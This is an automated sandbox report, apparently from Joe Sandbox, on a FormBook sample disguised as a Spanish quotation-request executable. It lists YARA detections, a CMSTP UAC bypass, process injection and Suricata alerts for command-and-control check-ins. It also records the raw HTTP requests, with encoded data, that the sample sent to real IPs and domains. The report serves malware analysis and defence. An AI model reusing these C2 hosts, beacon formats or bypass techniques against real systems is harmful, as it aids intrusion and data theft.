Windows Analysis Report
z27PEDIDOSDECOTIZACIN_sxlx_.exe

AI detected suspicious sample

Source: Yara match	File source: 4.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1543223916.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791309968.0000000002A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3795206841.00000000053A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1542801016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3791449632.0000000002A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3790655186.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3792934989.0000000004160000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1543864387.0000000004D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1462696437.0000023E0853C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe PID: 7448, type: MEMORYSTR

Source: z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.pdb` source: WER6339.tmp.dmp.8.dr
Source:	Binary string: SecEdit.pdb source: wab.exe, 00000004.00000002.1543304838.0000000003197000.00000004.00000020.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3791818331.000000000102E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000004.00000003.1452243090.0000000003449000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000003.1450246233.0000000003290000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.000000000378E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3792654545.000000000313E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1545415018.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1543063354.0000000002C09000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3792654545.0000000002FA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wntdll.pdb source: wab.exe, wab.exe, 00000004.00000003.1452243090.0000000003449000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000003.1450246233.0000000003290000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000004.00000002.1543418922.000000000378E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, SecEdit.exe, 0000000C.00000002.3792654545.000000000313E000.00000040.00001000.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1545415018.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000003.1543063354.0000000002C09000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3792654545.0000000002FA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER6339.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdbH source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wab.pdbGCTL source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3793502568.00000000035CC000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000002F6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001F9DC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER6339.tmp.dmp.8.dr
Source:	Binary string: wab.pdb source: SecEdit.exe, 0000000C.00000002.3791538876.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, SecEdit.exe, 0000000C.00000002.3793502568.00000000035CC000.00000004.10000000.00040000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3792978894.0000000002F6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000013.00000002.1886634795.000000001F9DC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr
Source:	Binary string: SecEdit.pdbGCTL source: wab.exe, 00000004.00000002.1543304838.0000000003197000.00000004.00000020.00020000.00000000.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000002.3791818331.000000000102E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000B.00000000.1467468971.00000000006CE000.00000002.00000001.01000000.00000008.sdmp, sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe, 0000000E.00000002.3790653322.00000000006CE000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: System.Drawing.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb8 source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdbpH source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdb source: WER6339.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER6339.tmp.dmp.8.dr

Source: C:\Windows\SysWOW64\SecEdit.exe

Code function: 12_2_0058BC80 FindFirstFileW,FindNextFileW,FindClose,

12_2_0058BC80

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4x nop then pop edi	4_2_00418543
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 4x nop then xor eax, eax	12_2_00579870
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 4x nop then pop edi	12_2_00585260
Source: C:\Windows\SysWOW64\SecEdit.exe	Code function: 4x nop then mov ebx, 00000004h	12_2_02DF053F

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49726 -> 154.213.157.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49710 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49714 -> 91.184.0.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49719 -> 193.108.130.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49741 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49712 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49724 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49735 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49720 -> 193.108.130.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49739 -> 198.12.241.35:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49734 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49715 -> 91.184.0.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49747 -> 31.186.11.254:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49717 -> 193.108.130.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49749 -> 192.250.231.28:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49751 -> 192.250.231.28:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49748 -> 31.186.11.254:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49709 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49713 -> 91.184.0.111:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49752 -> 192.250.231.28:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49716 -> 91.184.0.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49755 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49738 -> 198.12.241.35:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49721 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49744 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49737 -> 198.12.241.35:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49728 -> 154.213.157.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49730 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49729 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49732 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49718 -> 193.108.130.23:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49740 -> 198.12.241.35:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49725 -> 154.213.157.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49754 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49727 -> 154.213.157.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49711 -> 199.192.19.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49743 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49750 -> 192.250.231.28:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49707 -> 217.70.184.50:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49746 -> 31.186.11.254:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49756 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49722 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49742 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49731 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49733 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49736 -> 91.195.240.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49723 -> 47.239.13.172:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49745 -> 31.186.11.254:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49753 -> 47.239.13.172:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.grafiktema.xyz

Source: Joe Sandbox View	IP Address: 91.184.0.111 91.184.0.111
Source: Joe Sandbox View	IP Address: 198.12.241.35 198.12.241.35
Source: Joe Sandbox View	IP Address: 192.250.231.28 192.250.231.28

Source: Joe Sandbox View	ASN Name: HOSTNETNL HOSTNETNL
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS
Source: Joe Sandbox View	ASN Name: CNSV-LLCUS CNSV-LLCUS
Source: Joe Sandbox View	ASN Name: GANDI-ASDomainnameregistrar-httpwwwgandinetFR GANDI-ASDomainnameregistrar-httpwwwgandinetFR
Source: Joe Sandbox View	ASN Name: SVK-ASCZ SVK-ASCZ

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /p2ly/?bFGXGTdX=854srIWxIbaR7EG2BVBjn1PfwNbGMwTqcAT48G/3DKSB08gEc85mKKLIvkpoComultp7rI80f5482EKJDc++UJ/X9hbLrPJpiCWZeROTRI35j/SOzA==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.goodgiftguru.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /oxoz/?bFGXGTdX=2tfclvLQdcOBJmGnIZVAP5JMnkUnnIVvl5+7iv031/ylbgKII8HkCnHT6NNgDVU8buPmA9RxJ1d+vIxyZHsoGN30KfBqGUlKbJLPWs8oJbYVBexVLA==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.fardvuss.topConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/+eDIKv47LadViiJNA0l9U7AJcEYo6/DJIlnE312L8+JFdumWlHM1LGtkr/t6bg==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.vacaturecast.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /6iyv/?bFGXGTdX=QUgjltNnPM7fQ1+0bKwVMbQ54EaLfCpy+OUhi4BxQU9uhqAfHapQDk2a3aAnmDcuDNg9UdkAVeopJ3fRxVhQVT9mj+0/2IqVm/xmg09egO+B+lk9Mw==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.drivemktg.coConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /bqpw/?bFGXGTdX=7i7mgMVoUdn3K3H4hxR2Z2sx7NMDmz1WBuojPjrSQrb0L6/7xSQOb69NgDz1ThGB8kqobNNV7CaIX5kMC3tpqGoJwELsf5+TzHoCpSOUthnHuH68iQ==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.nbh6agr8h.sbsConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /qii2/?bFGXGTdX=MyAnEvAqgx9IHgh7O1f7tHhASGGjAfpU9Y1SDE6GUOU+/QpZ0wdWe4W7KVnq9zWaa6WrnYnil8yz0OBRRbaeb4KuJn8nSoXQG6ZxMFNQIXEXLDmqOQ==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.54bxd.cyouConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zqqa/?bFGXGTdX=ZXXpLVL5zGXuIyziXd74rR8Z9u95/Dmogjom9+EAQEp6mmLdAUlPVhz6U9vRTuA6wBlP9h+HTHItH2gyziEy2Gmm5hf6oNdAA8n0WZPfrmRJWLBYJQ==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.r7xzr3ib0.sbsConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zwgt/?bFGXGTdX=dCUrqoNNqYa01jj8ucmLyHx7kNIUn0PrfHpa8tjXz+CKp9k6oQP/Fdto1b0bQ/emz29BsG965J3wVz+jeRQuKqDu3O+8XeswSZaKGjOqnVkBxijyaA==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.bitmapsportsbook.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9og3/?bFGXGTdX=ZBkskPBELyIjvtDi08MWm9rbu3iLorcPFzn2FRxS1jOC36b61Sx96mOK+r72OxgWH8wd7wLlO4AB5vUmoL6nk1FBVggKsZuxPhO/hPMpvJNZBalqpQ==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.aceautocorp.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /rlev/?bFGXGTdX=Wo1R3wm8Ej8entDC+cV4KaEDP0IDvxtNKgFdfJiYIIGalaQSkKKZ1Xkt0Su2x108KR/fnP4QiNVkos1WTd/84fgdAaOORrOEsxtw8yTuzQl5BJwg/A==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.purpleheartlacey.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /pt32/?bFGXGTdX=y3myQPKMG7UG4U86kYjDSgzezXSmAkUzi6cKVm8KTXszLa2xdxq+NpYfRMeTkluAfKxM8yJJ9pAbryr3svtYXqMrD5rBnUtNlc/QUHCATHSaLBoyFg==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.grafiktema.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /o1v8/?bFGXGTdX=1i6yDzrkvfTg1xRY+mVcmT0mAxqtzWYSPwzr6OqMIexmyiVm05r+M/L0QtcaHGif89shAFkQDwq9CioCdeM2s5RrcMFZtF0WLInyLOarA44qlhj6rw==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.cr-pos.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /d8su/?bFGXGTdX=3HBCjYMba2FPA3TIMZ366tJLR19IJjxz0bIsDTYva69fDAgKwrpmDBuz3X8ZHGWOiFUXNC9bte/eip1p2XCq457JVfW7M++UWZyl/bQwgvBliJsYpA==&M87d=RDddFbF8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-usHost: www.trcrb8e8m.sbsConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.make-l.ru
Source: global traffic	DNS traffic detected: DNS query: www.goodgiftguru.com
Source: global traffic	DNS traffic detected: DNS query: www.fardvuss.top
Source: global traffic	DNS traffic detected: DNS query: www.vacaturecast.com
Source: global traffic	DNS traffic detected: DNS query: www.drivemktg.co
Source: global traffic	DNS traffic detected: DNS query: www.nbh6agr8h.sbs
Source: global traffic	DNS traffic detected: DNS query: www.54bxd.cyou
Source: global traffic	DNS traffic detected: DNS query: www.r7xzr3ib0.sbs
Source: global traffic	DNS traffic detected: DNS query: www.bitmapsportsbook.com
Source: global traffic	DNS traffic detected: DNS query: www.aceautocorp.com
Source: global traffic	DNS traffic detected: DNS query: www.purpleheartlacey.com
Source: global traffic	DNS traffic detected: DNS query: www.cityrentsatruck.com
Source: global traffic	DNS traffic detected: DNS query: www.grafiktema.xyz
Source: global traffic	DNS traffic detected: DNS query: www.cr-pos.com
Source: global traffic	DNS traffic detected: DNS query: www.trcrb8e8m.sbs
Source: global traffic	DNS traffic detected: DNS query: www.sulpapeis.online

Source: unknown

HTTP traffic detected: POST /oxoz/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-usHost: www.fardvuss.topOrigin: http://www.fardvuss.topContent-Length: 197Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: max-age=0Referer: http://www.fardvuss.top/oxoz/User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36Data Raw: 62 46 47 58 47 54 64 58 3d 37 76 33 38 6d 61 43 50 57 36 75 62 44 48 4f 2b 4b 37 6c 44 43 72 49 75 6f 47 63 44 78 38 35 68 6d 4a 6d 61 36 4f 59 4f 6c 4d 4b 48 55 41 75 70 59 4e 6a 6f 44 52 50 6e 67 75 34 37 51 69 59 6d 64 71 79 34 61 75 5a 72 49 52 4e 7a 70 36 73 42 5a 6d 6b 42 4c 74 48 4c 49 36 49 58 42 56 55 55 55 71 72 67 51 63 31 47 58 4b 5a 6c 58 35 70 39 58 6d 54 44 66 41 4b 66 46 35 35 59 52 46 75 70 48 34 6e 64 53 31 69 78 37 4a 47 38 34 51 30 6c 63 41 76 43 4a 39 37 41 4a 65 4d 2f 57 72 6e 79 37 4f 32 67 78 74 6d 32 6b 58 48 5a 49 4c 6d 4d 66 47 68 62 75 6d 70 76 66 52 34 73 Data Ascii: 